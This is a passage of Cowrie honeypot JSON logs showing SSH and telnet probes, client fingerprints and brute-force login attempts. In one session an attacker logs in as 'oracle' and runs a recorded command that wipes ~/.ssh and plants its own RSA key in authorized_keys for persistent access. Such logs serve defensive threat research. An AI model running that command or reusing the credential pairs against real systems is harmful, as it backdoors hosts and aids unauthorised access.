a-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:24.257598Z","src_ip":"217.154.192.185","session":"f5796abe0a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer123","message":"login attempt [ubuntu/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:24.668115Z","src_ip":"217.154.192.185","session":"f5796abe0a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:25.765284Z","src_ip":"217.154.192.185","session":"f5796abe0a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.210","src_port":57398,"dst_ip":"159.203.135.109","dst_port":22,"session":"dea207350d46","protocol":"ssh","message":"New connection: 147.185.132.210:57398 (159.203.135.109:22) [session: dea207350d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:30.726889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:31.713801Z","src_ip":"147.185.132.210","session":"dea207350d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60594,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52d4d1ba315","protocol":"telnet","message":"New connection: 5.61.90.139:60594 (10.17.0.5:23) [session: f52d4d1ba315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:32.517080Z"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:32.819749Z","src_ip":"147.185.132.210","session":"dea207350d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51692,"dst_ip":"159.203.135.109","dst_port":22,"session":"b78a494a295d","protocol":"ssh","message":"New connection: 159.203.92.129:51692 (159.203.135.109:22) [session: b78a494a295d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:35.663867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:35.668032Z","src_ip":"159.203.92.129","session":"b78a494a295d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:35.671847Z","src_ip":"159.203.92.129","session":"b78a494a295d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"123456","message":"login attempt [aitech/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:35.681544Z","src_ip":"159.203.92.129","session":"b78a494a295d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00133466720581,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:36.095859Z","src_ip":"146.120.225.17","session":"4be742429556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:36.688808Z","src_ip":"159.203.92.129","session":"b78a494a295d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":50042,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa7cf3304c2a","protocol":"telnet","message":"New connection: 146.120.225.17:50042 (10.17.0.5:23) [session: aa7cf3304c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:37.116505Z"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:41.980782Z","src_ip":"147.185.132.210","session":"dea207350d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":36008,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7c58dcf354","protocol":"ssh","message":"New connection: 80.253.31.232:36008 (159.203.135.109:22) [session: 7b7c58dcf354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:45.227767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:45.232573Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:45.361282Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ABCabc123","message":"login attempt [oracle/ABCabc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:45.912175Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.239901Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.244321Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.249098Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.381603Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.681706Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.685183Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.819967Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.823988Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":36020,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd03aeb3e17","protocol":"ssh","message":"New connection: 80.253.31.232:36020 (159.203.135.109:22) [session: efd03aeb3e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.926415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:46.931402Z","src_ip":"80.253.31.232","session":"efd03aeb3e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:47.051765Z","src_ip":"80.253.31.232","session":"efd03aeb3e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:47.558392Z","src_ip":"80.253.31.232","session":"efd03aeb3e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:48.681597Z","src_ip":"80.253.31.232","session":"efd03aeb3e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":40956,"dst_ip":"159.203.135.109","dst_port":22,"session":"81256046c59a","protocol":"ssh","message":"New connection: 80.253.31.232:40956 (159.203.135.109:22) [session: 81256046c59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:48.814303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:48.819325Z","src_ip":"80.253.31.232","session":"81256046c59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:48.947017Z","src_ip":"80.253.31.232","session":"81256046c59a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:49.489784Z","src_ip":"80.253.31.232","session":"81256046c59a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:49.620026Z","src_ip":"80.253.31.232","session":"7b7c58dcf354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:49.623593Z","src_ip":"80.253.31.232","session":"81256046c59a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38476,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15afd8dba02","protocol":"ssh","message":"New connection: 87.251.64.176:38476 (10.17.0.5:22) [session: e15afd8dba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:53.478250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:53.483331Z","src_ip":"87.251.64.176","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 